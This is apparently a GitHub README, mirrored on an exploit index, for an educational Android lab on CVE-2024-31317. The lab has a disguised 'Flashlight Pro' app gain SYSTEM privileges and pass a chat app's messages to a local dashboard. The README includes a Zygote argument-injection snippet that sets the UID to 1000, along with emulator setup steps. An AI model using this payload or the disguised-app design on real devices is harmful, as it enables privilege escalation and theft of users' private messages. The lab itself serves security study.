Share
## https://sploitus.com/exploit?id=561845C5-0B71-55BD-8832-B8F78D805597
# ๐ฅ ZygoteExploitDemo - CVE-2024-31317 Android Security Lab
### ๐จ Educational Demonstration of Android Zygote Injection Vulnerability
[](https://github.com/GitAmanS/ZygoteExploitDemo/stargazers)
[](https://github.com/GitAmanS/ZygoteExploitDemo/network/members)
[](https://github.com/GitAmanS/ZygoteExploitDemo/blob/main/LICENSE)
---
## ๐ Overview
This lab demonstrates **CVE-2024-31317**, a critical Android vulnerability that allows a malicious app to escalate privileges to **SYSTEM level (UID 1000)** and bypass the Android sandbox to read data from other applications in real-time.
### ๐ฏ What This Demo Shows
| Stage | Description | Visual |
|-------|-------------|--------|
| **1** | User installs innocent-looking "Flashlight Pro" app | ๐ฆ |
| **2** | App exploits CVE-2024-31317 to gain SYSTEM access | ๐ |
| **3** | SYSTEM-level service reads "SecureChat" messages | ๐๏ธ |
| **4** | Stolen messages appear on live dashboard | ๐ |
---
## ๐๏ธ Project Structure
```
ZygoteExploitDemo/
โโโ ๐ฑ apps/
โ โโโ SecureChat/ # Victim app (Jetpack Compose)
โ โ โโโ Encrypted messages stored in SQLite
โ โ โโโ Simulates WhatsApp-style encryption
โ โ
โ โโโ FlashlightPro/ # Malicious app with exploit
โ โ โโโ Normal flashlight UI (distraction)
โ โ โโโ Background exploit service
โ โ โโโ WRITE_SECURE_SETTINGS permission
โ โ
โ โโโ MonitorService/ # SYSTEM-level reader
โ โโโ Runs with UID 1000 after exploit
โ โโโ Reads SecureChat database
โ โโโ Exfiltrates to dashboard
โ
โโโ ๐ dashboard/ # Flask web dashboard
โ โโโ app.py # Shows stolen messages live
โ
โโโ ๐ scripts/ # Automation scripts
โ โโโ setup_vulnerable_emulator.sh
โ โโโ build_all_apps.sh
โ โโโ install_all_apps.sh
โ โโโ run_exploit.py
โ โโโ monitor_logs.sh
โ
โโโ ๐ฏ exploits/ # Exploit information
โ โโโ CVE-2024-31317.md
โ โโโ payloads.txt
โ
โโโ ๐ tamplates/ # Code templates
โโโ exploit_template.java
โโโ dashboard_template.html
```
---
## ๐ง Technical Details
### The Vulnerability
CVE-2024-31317 exists in how Android's Zygote process handles the `hidden_api_blacklist_exemptions` system setting. Due to missing input sanitization, an attacker can inject newline characters to add arbitrary arguments to Zygote commands.
**Attack Vector:**
```java
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
```
### Affected Versions
| Version | Status |
|---------|--------|
| Android 9 - 14 | โ Vulnerable (pre-June 2024 patch) |
| Android 14+ | โ
Patched (June 2024 security update) |
| Android 15+ | โ
Secure |
---
## ๐ Quick Start Guide
### Prerequisites
- โ
Android Studio (latest)
- โ
Python 3.8+ with Flask
- โ
Android SDK with platform tools
- โ
10GB free disk space for emulator
### Step 1: Clone the Repository
```bash
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
```
### Step 2: Set Up Vulnerable Emulator
```bash
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
```
### Step 3: Build and Install Apps
```bash
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
```
### Step 4: Start the Dashboard
```bash
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
```
๐ฑ **Open http://localhost:5000 in your browser**
### Step 5: Run the Exploit
```bash
cd ../scripts
python3 run_exploit.py
```
### Step 6: Watch the Magic โจ
1. Open **SecureChat** app in emulator
2. Send some test messages
3. Watch them appear on the dashboard **instantly! ๐ด**
---
## ๐ธ Demo Video
> ๐ฌ *Demo video coming soon*
---
## ๐ฌ How It Works - Step by Step
1. **FlashlightPro** requests `WRITE_SECURE_SETTINGS` permission
2. Exploit code injects malicious payload into Zygote settings
3. Zygote spawns **MonitorService** with SYSTEM privileges (UID 1000)
4. SYSTEM service bypasses Android sandbox restrictions
5. Direct database read from `/data/data/com.securechat/databases/`
6. Exfiltration to Flask dashboard via HTTP POST
7. Real-time display of stolen encrypted messages
---
## ๐ Learning Resources
- [Android Security Bulletins](https://source.android.com/security/bulletin)
- [CVE-2024-31317 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-31317)
- [Original PoC by CleoV2](https://github.com/cleov2)
---
## ๐ค Contributing
Contributions are welcome! Please:
1. Fork the repository
2. Create a feature branch
3. Submit a Pull Request
**Areas for contribution:**
- ๐ฏ Additional exploit payloads
- ๐ก๏ธ Better detection methods
- ๐ Improved documentation
- ๐ Translation to other languages
---
## ๐ License
MIT License - See [LICENSE](LICENSE) file for details
---
## ๐จโ๐ป Author
**Aman** - [@GitAmanS](https://github.com/GitAmanS)
---
## โญ Support
If you found this educational, please give it a star! โญ
---
**Made for security researchers, by a security researcher**
Remember: With great power comes great responsibility ๐ท๏ธ